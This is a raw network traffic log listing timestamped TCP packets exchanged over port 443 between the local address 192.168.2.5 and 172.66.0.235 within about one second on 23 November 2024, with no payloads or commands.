Nov 23, 2024 13:37:41.186727047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.192022085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.192035913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.192121983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.192137003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.192190886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.198914051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.198930025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.199018002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.199052095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.199110031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.205673933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.205689907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.205770969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.205785036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.205837011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.212500095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.212516069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.212594032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.212608099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.212656975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.218880892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.218895912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.218954086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.218969107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.219021082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.219986916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.220048904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.227020979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.227036953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.227097988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.227113008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.233629942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.233650923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.233746052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.233762026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.233810902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.283087015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.380013943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.380031109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.380121946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.380143881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.380202055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.385040998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.385097027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.385104895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.385127068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.385154009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.386022091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.386075974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.386090994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.386142015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.390964985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.391014099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.391051054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.391083002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.391113043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.392879963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.392935991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.392951012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.393003941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.399653912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.399676085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.399723053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.399736881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.399785995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.399785995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.401576996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.401640892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.407655001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.407670975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.407738924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.407752991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.411124945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.411189079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.411201954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.412929058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.412986994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.413002014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.413058043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.416590929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.418936014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.418951988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.419017076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.419029951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.419084072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.422729015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.422799110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.422811985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.429147005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.429614067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.429630041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.429687023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.429703951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.441001892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.487487078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.575058937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.575078011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.575170994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.575196981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.575270891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.576860905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.576927900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.578845024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.578910112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.584875107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.584891081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.584956884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.584970951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.585036039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.589782953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.589833975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.589850903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.589875937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.589920998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.596596003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.596611977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.596685886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.596702099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.603060961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.603077888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.603137016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.603153944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.604862928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.604926109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.604938984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.604988098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.609652996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.611778975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.611798048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.611860037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.611872911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.611932993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.614690065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.614758968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.614773035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.621896982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.621912003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.621979952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.621997118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.622375011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.766866922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.766885042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.767071962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.767138004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.767198086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.768661022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.768721104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.770597935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.770658016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.776655912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.776673079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.776730061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.776745081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.776804924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.783540964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.783555984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.783641100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.783655882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.783714056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.784251928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.790277958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.790293932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.790371895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.790371895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.790391922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.790460110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.794812918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.794867992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.794882059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.794895887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.794929028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.796447992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.796639919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.796705961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.801714897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.801755905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.801788092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.801810980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.801836014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.808458090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.808474064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.808522940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.808540106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.808566093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.811669111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.811734915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.811752081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.844655991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.957227945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.957247019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.957343102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.957360983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.957416058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.961693048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.961767912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.961781025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.962728024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.962780952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.962794065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.962847948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.967713118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.968991041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.969007969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.969065905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.969096899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.969149113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.970777035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.970840931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.973479033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.976856947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.976872921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.976941109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.976954937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.983706951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.983730078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.983772993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.983788967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.983819962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.987090111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.987164974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.987195969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.988949060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.989017010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.989031076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.989082098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.990864992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.993861914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.993913889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.993942976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.993956089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.994000912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.999857903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.999872923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.999929905 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:41.999946117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:41.999974012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.004863977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.004910946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.004945040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.004960060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.004986048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.005007029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.036006927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.146388054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.146467924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.147803068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.147869110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.149635077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.149698019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.151633978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.151695013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.152652025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.152777910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.154498100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.154567957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.161391973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.161407948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.161467075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.161482096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.161551952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.167474031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.167490959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.167572021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.167596102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.167651892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.174593925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.174609900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.174683094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.174700975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.174756050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.180682898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.180699110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.180787086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.180802107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.180855036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.187443972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.187458992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.187532902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.187551975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.187603951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.194307089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.194328070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.194403887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.194418907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.194470882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.339700937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.339720011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.339828014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.339860916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.340027094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.346460104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.346477032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.346554995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.346570015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.346621990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.353475094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.353492022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.353565931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.353579998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.353632927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.359318018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.359334946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.359422922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.359440088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.359489918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.366247892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.366264105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.366338968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.366353035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.366404057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.372577906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.372592926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.372669935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.372689962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.372735977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.379344940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.379362106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.379422903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.379436970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.379489899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.386218071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.386234045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.386296988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.386311054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.386363029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.389144897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.535931110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.535955906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.536005020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.536025047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.536062002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.536062002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.542665958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.542681932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.542737007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.542752028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:42.542779922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.542797089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:42.549423933 CET	443	49704	172.66.0.235	192.168.2.5
